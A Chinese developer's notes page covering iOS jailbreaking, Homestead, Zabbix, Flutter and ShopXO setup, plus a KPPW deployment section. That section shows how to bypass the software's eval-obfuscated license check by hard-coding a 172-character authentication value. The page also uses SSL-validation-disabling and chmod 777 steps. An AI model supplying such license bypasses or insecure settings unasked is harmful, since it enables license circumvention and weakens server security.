太极越狱 适用于 iOS 8.1.3-8.4
盘古越狱 for iOS 9.2 - 9.3.3
h3lix for 64-bit 10.x devices
Electra Compatible with iOS 11.2 – 11.3.1
checkra1n Jailbreak for iPhone 5s through iPhone X, iOS 12.0 and up
这些工具应该会持续更新,请去官网查看最新支持的iOS版本

其他:爱思助手

步骤

我的 iPhone 6S 版本号是 iOS 11.1.2 所以使用 Electra 进行越狱

  1. 下载 Electra 安装包
  2. 在mac上安装应用 Impactor 用来打包安装 Electra 到手机上(需要开发者账号)
  3. 在手机上使用 Electra 一键越狱,安装 Cydia

遇到的问题

  1. Cydia 首页显示无网络连接

  2. Cydia 刷新源 出现 Host Unreachable 提示

  3. Cydia 闪退

    • iOS11.1.2 使用 Electra 越狱后每次重启设备都需要使用 Electra 再次进行越狱 reddit上的解决方案
    • 用itools3 找到/var/mobile/Library/Caches/com.saurik.Cydia目录
      将目录中的所有文件删除,重启就可以了,不放心的,再用iclean pro清理一次
      再重新进入,OK了.

Homestead搭建 - PHP本地开发环境

Homestead 搭建 - PHP 本地开发环境

Homestead 是一个Laravel官方预封装的 Vagrant box ,它为你提供了一个完美的开发环境,你不需要在本地机器安装 PHP、 web 服务器和其他的服务器软件.此套开发环境不仅Laravel可以使用,其他框架也可以使用如ThinkPHP等, Homestead其实是虚拟机搭建的服务器.

1. 下载安装virtualboxvagrantup
2. 安装 Homestead Vagrant Box
$ vagrant box add laravel/homestead

若遇到 OpenSSL SSL_read: SSL_ERROR_SYSCALL, errno 54 错误中断
请使用如下命令继续安装

$ vagrant box add laravel/homestead -c --insecure
3. 安装 Homestead
$ git clone https://github.com/laravel/homestead.git ~/Homestead
$ cd ~/Homestead

// Mac / Linux...
$ bash init.sh

// Windows...
$ init.bat
4. 通过Homestead.yaml文件配置Homestead
$ vi Homestead.yaml

# 映射共享本地项目文件夹code到Homestead环境/home/vagrant/code
folders:
    - map: ~/code
      to: /home/vagrant/code

# 配置Nginx站点,sites映射"域名"到一个Homestead环境文件夹(此域名只能在本台机器上访问)
sites:
    - map: homestead.test
      to: /home/vagrant/code/my-project/public
      
# 修改Hosts文件将访问Homestead站点的请求重定向至Homestead虚拟主机上
$ sudo vi /etc/hosts

# 添加新站点的格式如下所示:
192.168.10.10  homestead.test
# 确保此监听的 IP 地址是你在 Homestead.yaml 文件中所设置的一致

5. 启动 Vagrant Box

根据你的需求编辑完成 Homestead.yaml,在你的 Homestead 文件夹中运行 vagrant up 命令。Vagrant 将启动虚拟机并自动配置你的共享文件夹和 Nginx 站点。可以通过浏览器访问该站点了:http://homestead.test

若要删除虚拟机,只需要运行 vagrant destroy --force 命令。

vagrant up 报错 OpenSSL SSL_read: SSL_ERROR_SYSCALL, errno 54
请使用网络全局代理继续或参考此issue

6. 重新加载Homestead配置

如果Homestead.yaml点文件有修改,使用reload命令使配置生效
$ vagrant reload --provision
tip:操作都是在Homestead目录运行,

若要共享此站点可被局域网内其他用户访问
  1. 登录到虚拟机服务器进行分享站点
# 登录到虚拟机服务器
$ vagrant ssh
# 进入虚拟机服务器并运行
share homestead.test

即可通过Ngork提供的域名实现局域网内访问,Ngork是一款开源的内网穿透工具.

  1. 直接使用 本机IP:8000 也可以在局域网内访问此站点,Homestaead默认使用8000端口进行转发

具体使用和安装步骤参考:
快速入门 —— 重量级开发环境:Homestead 安装使用详细教程
Laravel 5.8中文文档-入门指南-Homestead

登录虚拟主机服务器
vagrant ssh

# 查看nginx配置
vi /etc/nginx/nginx.conf

# 查看站点 site.com 的nginx 配置
vi /etc/nginx/sites-enabled/site.com

# 查看服务器使用的php版本
php -v
错误合集
OpenSSL SSL_read: SSL_ERROR_SYSCALL, errno 54
$ vagrant box add laravel/homestead
# 报错
OpenSSL SSL_read: SSL_ERROR_SYSCALL, errno 54

添加选项运行命令安装

$ vagrant box add laravel/homestead -c --insecure

Options used:

  • -c or --clean Clean any temporary download files
  • --insecure Do not validate SSL certificates

Vagrant - OpenSSL SSL_read: SSL_ERROR_SYSCALL, errno 54


$ vagrant up  

OpenSSL SSL_read: SSL_ERROR_SYSCALL, errno 54

解决:

  1. 使用全局VPN代理再次运行 vagrant up 即可
  2. 解决方法参考SSL read: error

开源威客系统KPPW的部署

威客系统

FOXPHP
KPPW

宝塔部署KPPW

  1. 官方长时间未更新,推荐环境:centos7.2, php5.6, mysql 5.5, nginx 1.15, kppw 3.3
  2. 新建网站,下载/上传源代码到网站目录
  3. 设置网站运行目录为public
  4. 解除禁用函数putenv,proc_open
  5. 安装扩展fileinfo
  6. 提前创建数据库,准备连接数据库用户名和密码
  7. 访问域名进行安装
  8. 后台为:域名/manage

破解后台授权

1.查找路由可知 manage 是由中间件加密处理的

15925610614296

2. manageauth中handle方法由eval函数执行解密后的字符串代码

借助在线base64解密可以得到解密后的代码

if (isset($_SERVER['Authentication']) && 172 == strlen($_SERVER['Authentication'])) {
            if (!Session::get('manager')) {
                return redirect('/manage/login');
            } else {
                $manager = \App\Modules\Manage\Model\ManagerModel::getManager();
                Theme::setManager($manager->username);
                Theme::setManagerID($manager->id);
            }
            return $next($request);
        } else {
            return response()->view('errors.503', [], 503);
        }

可知 _SERVER['Authentication']长度为172即可通过验证

3. 在/app/Http/Middleware/ManageAuth.php中handle()方法增加认证变量为172个字符即可

$_SERVER['Authentication'] = "1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111";

15925581447498

PS:无论多小的疑问,赶紧去搜,复盘很重要,能帮助你更好的梳理流程

参考:
kppw破解- 百晓生
eval函数说明
BASE64解码
在线字数统计工具

Centos 使用官方repo源安装 zabbix,报错 No more mirrors to try

网络环境原因,需更换官方源为国内镜像源

过程: 根据官方给出的指示步骤Download and install Zabbix

报错:

Error downloading packages:
  zabbix-server-mysql-5.0.2-1.el7.x86_64: [Errno 256] No more mirrors to try.
  zabbix-agent-5.0.2-1.el7.x86_64: [Errno 256] No more mirrors to try.

解决方法:

$ cat /etc/yum.repos.d/zabbix.repo

# 篇幅有限只给出会修改的baseurl字段显示

[zabbix]
baseurl=http://repo.zabbix.com/zabbix/5.0/rhel/7/$basearch/

[zabbix-frontend]
baseurl=http://repo.zabbix.com/zabbix/5.0/rhel/7/$basearch/

[zabbix-debuginfo]
baseurl=http://repo.zabbix.com/zabbix/5.0/rhel/7/$basearch/

[zabbix-non-supported]
baseurl=http://repo.zabbix.com/non-supported/rhel/7/$basearch/

编辑zabbix.repo文件,替换baseurl为阿里云镜像源地址
可以到阿里云Zabbix镜像查看对应的镜像源地址

# 注意路径中是 /zabbix/zabbix/
[zabbix]
baseurl=https://mirrors.aliyun.com/zabbix/zabbix/5.0/rhel/7/$basearch/

[zabbix-frontend]
baseurl=https://mirrors.aliyun.com/zabbix/zabbix/5.0/rhel/7/$basearch/frontend

[zabbix-debuginfo]
baseurl=https://mirrors.aliyun.com/zabbix/zabbix/5.0/rhel/7/$basearch/debuginfo/

# 注意路径中要有一个 /zabbbix/
[zabbix-non-supported]
baseurl=https://mirrors.aliyun.com/zabbix/non-supported/rhel/7/$basearch/

再次执行安装命令

$ yum clean all
$ yum install zabbix-server-mysql zabbix-agent

提示安装完成

Installed:
  zabbix-agent.x86_64 0:5.0.2-1.el7                            zabbix-server-mysql.x86_64 0:5.0.2-1.el7                           

Dependency Installed:
  OpenIPMI.x86_64 0:2.0.27-1.el7       OpenIPMI-libs.x86_64 0:2.0.27-1.el7           OpenIPMI-modalias.x86_64 0:2.0.27-1.el7      
  fping.x86_64 0:3.10-4.el7            net-snmp-libs.x86_64 1:5.7.2-48.el7_8.1       unixODBC.x86_64 0:2.3.1-14.el7               

Complete!

开源商城ShopXO的部署

开源商城

商用需授权

  1. ECShop
  2. Tpshop

无需授权可商用

ShopXO

安装ShopXO步骤:

  1. git clone https://gitee.com/cheenbee/shopxo.git
  2. cd shopxo
  3. composer install
  4. cd ..
  5. chmod -R 777 shopxo
  6. vim /etc/nginx/conf.d/shopxo.conf
server {
    listen       80;
    listen       [::]:80;
    server_name shop.maomilaoshi.top;
    root /var/www/shopxo/public;

    location / {
         index  index.html index.htm index.php;
         try_files $uri $uri/ /index.php$is_args$query_string;
    }

    location ~ ^/files/.*\.(php|php5)$ {
        deny all;
    }

    location ~ \.php$ {
        fastcgi_pass   127.0.0.1:9000;
        fastcgi_split_path_info ^(.+\.php)(/.*)$;
        fastcgi_param  SCRIPT_FILENAME    $document_root$fastcgi_script_name;
        fastcgi_param  HTTPS              off;
        include        fastcgi_params;
    }
}
  1. 保存配置文件,重启nginx
    15916730130636

flutter pub get 和 flutter run 运行卡住解决

flutter pub get 卡住

由于在国内访问Flutter会受到限制,Flutter官方为**开发者搭建了临时镜像,将如下环境变量加入到用户环境变量中:

  1. 确定您Flutter SDK的目录,您将在步骤3中用到。

    // cd 到Flutter SDK目录使用命令查看当前目录
    $ pwd
    
  2. 打开(或创建) $HOME/.bash_profile. 文件路径和文件名可能在您的机器上不同.

  3. 添加以下行并更改[PATH_TO_FLUTTER_GIT_DIRECTORY]为克隆Flutter的git repo的路径:

$ vim .bash_profile
添加以下行并更改[PATH_TO_FLUTTER_GIT_DIRECTORY]为克隆Flutter的git repo的路径:
export PUB_HOSTED_URL=https://pub.flutter-io.cn
export FLUTTER_STORAGE_BASE_URL=https://storage.flutter-io.cn
export PATH=PATH_TO_FLUTTER_GIT_DIRECTORY/flutter/bin:$PATH

flutter run 卡在 Running Gradle task 'assembleDebug'...

跑的是安卓真机,安卓使用Gradle的Maven仓库在国外,可以使用全局代理访问

或者使用阿里云的Maven镜像(需修改2个地方)

  1. 修改项目中 android/build.gradle 文件

  2. 修改Flutter SDk目录中 flutter/packages/flutter_tools/gradle/flutter.gradle 文件

    替换所有的

google()
jcenter()

maven { url 'https://maven.aliyun.com/repository/google' }
maven { url 'https://maven.aliyun.com/repository/jcenter' }
maven { url 'http://maven.aliyun.com/nexus/content/groups/public' }

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.